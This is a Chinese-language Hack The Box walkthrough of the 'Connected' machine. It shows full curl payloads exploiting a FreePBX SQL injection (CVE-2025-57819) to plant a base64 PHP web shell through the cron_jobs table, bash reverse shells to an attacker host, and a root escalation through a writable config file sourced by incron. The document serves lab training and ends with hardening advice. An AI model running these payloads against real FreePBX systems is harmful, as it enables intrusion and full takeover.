本演练记录了HTB机器Connected被完全攻破的全过程。
本演练记录了 HTB 机器 Connected 的完整入侵过程。
攻击链始于 FreePBX 中的一个无认证 SQL 注入漏洞,该漏洞被利用通过精心构造的 cron 任务以 asterisk 用户身份获得代码执行权限。随后,一个可写的配置文件与 incron 触发器相结合,实现了向 root 的权限提升。
此案例展示了 Web 应用程序漏洞在结合本地权限配置薄弱和不安全的特权自动化时,如何导致系统被完全入侵。
快速端口扫描揭示了目标主机的开放端口:
nmap -T5 --open <MACHINE_IP>
| 端口 | 服务 |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
进一步检查显示,一台运行 PHP 7.4 的 Apache 服务器,并将 HTTP 重定向到:
http://connected.htb/
要正确访问该站点,请添加虚拟主机映射:
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
浏览 http://connected.htb/ 显示:
FreePBX 16.0.40.7
研究发现 CVE-2025-57819,这是 FreePBX Endpoint Manager 组件中的一个无认证基于错误的 SQL 注入漏洞。
通过提取数据库用户来确认该漏洞:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
响应包含:
~USER:freepbxuser@localhost~
这确认了 SQL 注入有效,并且应用程序以以下身份连接 MySQL:
freepbxuser@localhost
FreePBX 将计划任务存储在 cron_jobs 表中。
通过向该表注入恶意条目,可以安排任意命令执行。
以下载荷在 Web 根目录中创建了一个 PHP Web Shell:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
服务器返回通用的 500 错误,但 SQL 语句成功执行。
大约一分钟后,验证 Web Shell 是否已创建:
curl -ik "https://connected.htb/c1sco.php?cmd=id"
输出:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
我们现在可以通过 HTTP 请求以 asterisk 用户身份执行命令。
在攻击机上启动 Netcat 监听器:
nc -lvnp 4444
通过 Web Shell 触发 Bash 反向 Shell:
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
连接已建立:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
我们现在拥有一个以 asterisk 用户身份运行的交互式 Shell。
在 /etc 下搜索可写文件,排除已知的误报:
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
一个值得注意的结果是:
/etc/dahdi/init.conf
接下来,检查 incron 配置:
cat /etc/incron.d/*
这揭示了以下文件系统监视器:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
这意味着每当哨兵文件:
/var/spool/asterisk/sysadmin/dahdi_restart
被写入时,以下脚本将被执行:
/usr/sbin/sysadmin_dahdi_restart
检查该脚本发现它会引用:
/etc/dahdi/init.conf
由于 /etc/dahdi/init.conf 可被 asterisk 用户写入,并且会被 root 进程引用,因此它提供了一条以 root 身份执行任意命令的路径。
在端口 4445 上启动第二个 Netcat 监听器:
nc -lvnp 4445
从 asterisk Shell 中,将反向 Shell 载荷追加到可写的配置文件中:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
通过写入被监视的文件来触发 incron 操作:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
几秒钟内,root Shell 建立连接:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 已获得完整 root 访问权限!
cat /home/asterisk/user.txt
输出:
HTB{...user_flag...}
cat /root/root.txt
输出:
HTB{...root_flag...}
无认证 SQL 注入
│
▼
MySQL 查询执行
│
▼
插入恶意 Cron 任务
│
▼
PHP Web Shell
│
▼
asterisk Shell
│
▼
可写的 /etc/dahdi/init.conf
│
▼
incron 触发器
│
▼
Root 命令执行
│
▼
root
| 漏洞 | 影响 |
|---|---|
| 无认证 SQL 注入 | 暴露了数据库用户上下文,并为写入恶意数据提供了立足点 |
| Cron 任务注入 | 实现了以低权限服务账户身份进行远程代码执行 |
| 可写配置文件 + incron | 允许直接向 root 进行权限提升 |
| 特权脚本引用用户可写文件 | 允许以 root 权限执行任意命令 |
对所有数据库操作使用参数化查询和严格的输入验证。
切勿将用户控制的输入直接拼接进 SQL 查询中。
特权服务使用的配置文件不应可被低权限服务账户写入。
特别是,请审查以下目录下文件的权限:
/etc/
定期审计计划任务和文件系统监视器。
特权任务不应基于不受信任用户可修改的文件来执行命令。
Root 拥有的脚本应避免引用可被非特权用户修改的配置文件。
Web 应用程序和服务应以其运行所需的最低权限运行。
降低 FreePBX/Apache 环境的权限可以显著限制应用程序被成功入侵后的影响范围。
CVE-2025-57819
│
▼
无认证 SQL 注入
│
▼
cron_jobs 表篡改
│
▼
计划执行的 PHP Web Shell
│
▼
asterisk 用户
│
▼
可写的 /etc/dahdi/init.conf
│
▼
incron 文件监视器
│
▼
特权 DAHDI 脚本
│
▼
Root Shell
│
▼
🏆 系统被完全入侵
免责声明: 本文档仅供教育目的和授权安全测试使用,例如 Hack The Box 实验室和受控环境。